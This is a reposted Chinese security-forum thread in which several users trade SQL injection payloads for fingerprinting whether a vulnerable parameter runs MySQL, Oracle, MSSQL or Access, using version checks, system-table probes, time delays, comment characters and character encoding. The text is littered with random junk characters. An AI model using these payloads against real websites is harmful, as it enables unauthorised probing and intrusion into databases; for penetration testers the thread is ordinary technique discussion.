中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库0 C- Y8 K8 J2 O
xsser (十根阳具有长短!!) | 2013-02-05 12:36
. s' m% b4 D: r: v0 ]3 G4 ~/ m; Q  s假设这么一个注射点:) _# P8 ^: s; H) Z7 v: s: i
show.html?id=2
2 m$ L( `5 [5 L$ H3 i1 Xmysql:id=2 and version()>05 O" a$ B7 `  ]+ @: W
oracle:id=2 and '1'||'1'='11
4 R) b% A5 ~7 a4 d' A' a4 v# b其他的欢迎补充# O1 M; A) q" j) `7 }, g
1#0 g# y7 I5 }; b, o+ c2 X) n/ S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
9 v, |6 K7 j, [+ E1 T! FAccess:* o. q0 X9 z' _1 q/ V6 r0 x! p
aNd aSc(cHr(97))=97
* A) }# F9 z* g4 v. a2 Iand exists(select id from MSysAccessObjects)
0 {( |  a" u9 R% E+ P: A2 H5 WSQL Server:
7 m, P4 I1 v/ X8 {and exists(select id from sysobjects)9 A$ C+ t1 _7 Z3 ^: B5 X; D% g
and length(user)>04 a( N" {4 n% l9 @, Y3 I/ O
MySQL:8 D! x( V  D! O! Y) Q$ B9 |
and length(user())>0
. ?9 W! P6 n5 ~7 z2#
& c' k% ]" U1 |0 Cxsser (十根阳具有长短!!) | 2013-02-05 12:48
' I5 O+ K! A% Y, a@upload 如果这些都不是呢…
4 y  X7 J) N  F  H6 Z3#
& R. a1 m/ z) ?8 Tupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
3 A% e# B& E6 V1 Q, k; Q9 T@xsser 不快速的,延时注入
/ ~: [# p& [$ h/ Z不知道这样写对不对$ H/ \9 l' S* r: x4 _
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'# S$ l) v* D- l4 w0 F0 H; M
mysql:id=2 and select benchmark(1e8,current_date());
& M: d5 q& L% m. T9 W4#) T1 e8 J! `) k" j# o8 n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10* J( N& @7 ?: w5 D$ H8 d
最快的貌似是看报错信息
. {$ g! P# U- @1 R' @% w5 q4 {oracle error& m% d- C2 F! e) j6 E, e% \
mssql error' [. ~+ F; g2 Y. c: V
mysql error/ q/ y( I; P* _$ q
5#
, s7 l0 [- k( ]9 D# v3 VNimda (你们都是坏银~) | 2013-02-05 13:14
2 b& c3 P/ \* n* e小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)5 P6 a* V. c* s
6#+ y1 q  A( a3 [: B+ V, k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
' @  P( t$ H! Q4 x) J* w“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:$ \- Q1 Y9 U5 p. n( a
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
8 E1 k- c8 t/ V- g9 k, M“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。* m8 ]7 i% I- Q7 k
7#
0 T/ I( s0 p% `0 P# q  c_Evil (HackEnd) | 2013-02-05 13:33
' s0 F) J; Y4 T7 V! QPostgreSQL
  q* ?% W9 D, \  Y8#) @* X8 C8 I6 G, S: S& ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
, m: [( k' j3 h- r7 [切换编码 and 1=1$ O4 g3 J8 G* Y/ F4 j* x8 f% O
oracle:
1 o7 f8 |$ X1 B5 P9 ]) j" UCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
/ K9 n' h- z- zmssql:
% L( g4 j# b+ |8 g+ @CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)& o! ^* w+ a& ?
mysql:
( ?3 a/ j; w' P4 `# oCHAR(97, 110, 100, 32, 49, 61, 49)  n' ], B7 B" J8 F* ~
9#* O' l, [4 j. K# ]2 }# {* }
xsser (十根阳具有长短!!) | 2013-02-05 14:31
! Q' M+ f$ K0 X' G+ c9 ^@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
4 _' @% Q4 A0 R; Y. `) A10#
  F) K$ R. M% g3 Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:462 }' B* ]: ]4 g- `0 i
@xsser 是奇葩数据库类型的么?
. |, v: U( X, w# ~# Q8 u根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:8 m( V, h+ E3 z* e
1.是否可以使用特定的函数来判断,该数据库特有的
8 ?6 l) y& \/ s7 U- m' p* c) [; f6 f2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等+ B. L# M( F' f0 F8 S
3.是否可以编码查询
% y- f; W9 A0 [2 ^4 S7 @. ^4.是否显可以利用错信息1 u: y% K( X- G1 Q( C
5.是否存在数据库某些特性辅助判断2 E( d5 l, K  S, ?6 Z' |
个人见解
1 g# {/ [" C0 S- J11#  O( f0 k6 v6 H# w; Z; `
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55# q5 a* _( J* v3 q
已收藏,mssql可以直接看到错误提示的吧~
& K6 P2 ^, U& y$ J12#
& M! B; y9 H* E* f; pPasser_by | 2013-02-05 15:09  L8 O1 B, m* S9 y
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。7 Q) K- f, V9 y0 y0 m- y
from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2